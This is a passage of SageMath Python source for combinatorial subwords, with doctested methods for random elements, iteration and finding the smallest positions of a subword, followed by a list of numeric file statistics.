sage: for i in range(100): ....: w = S1.random_element() ....: if w in S2: ....: assert(w == []) sage: for i in range(100): ....: w = S2.random_element() ....: if w in S1: ....: assert(w == []) """ sample = prandom.sample(self._w, self._k) if self._build is list: return sample return self._build(sample) def __iter__(self): """ EXAMPLES:: sage: Subwords([1,2,3],2).list() [[1, 2], [1, 3], [2, 3]] sage: Subwords([1,2,3],0).list() [[]] sage: Subwords((1,2,3),2).list() [(1, 2), (1, 3), (2, 3)] sage: Subwords((1,2,3),0).list() [()] sage: Subwords('abc',2).list() ['ab', 'ac', 'bc'] sage: Subwords('abc',0).list() [''] """ if self._k > len(self._w): return iter([]) iterator = itertools.combinations(self._w, self._k) if self._build is tuple: return iterator else: return (self._build(x) for x in iterator) def smallest_positions(word, subword, pos=0): """ Return the smallest positions for which ``subword`` appears as a subword of ``word``. If ``pos`` is specified, then it returns the positions of the first appearance of subword starting at ``pos``. If ``subword`` is not found in ``word``, then return ``False``. EXAMPLES:: sage: sage.combinat.subword.smallest_positions([1,2,3,4], [2,4]) [1, 3] sage: sage.combinat.subword.smallest_positions([1,2,3,4,4], [2,4]) [1, 3] sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4]) [2, 4] sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4],2) [2, 4] sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4],3) [3, 4] sage: sage.combinat.subword.smallest_positions([1,2,3,4], [2,3]) [1, 2] sage: sage.combinat.subword.smallest_positions([1,2,3,4], [5,5]) False sage: sage.combinat.subword.smallest_positions([1,3,3,4,5],[3,5]) [1, 4] sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3]) [1, 3, 6] sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3],2) [2, 3, 6] sage: sage.combinat.subword.smallest_positions([1,2,3,4,3,4,4],[2,3,3,1]) False sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3],3) False TESTS: We check for :trac:`5534`:: sage: w = ["a", "b", "c", "d"]; ww = ["b", "d"] sage: x = sage.combinat.subword.smallest_positions(w, ww); ww ['b', 'd'] """ pos -= 1 res = [None] * len(subword) for i in range(len(subword)): for j in range(pos + 1, len(word) + 1): if j == len(word): return False if word[j] == subword[i]: pos = j break if pos != j: return False res[i] = pos return res
29.23766
104
0.489089
2,157
15,993
3.541493
0.130274
0.021992
0.026312
0.064799
0.456866
0.421914
0.385914
0.36222
0.31889
0.2842
0
0.063019
0.33721
15,993
546
105
29.291209
0.657642
0.605077
0
0.188034
0
0
0.012538
0
0
0
0
0.001832
0
1
0.205128
false
0
0.068376
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2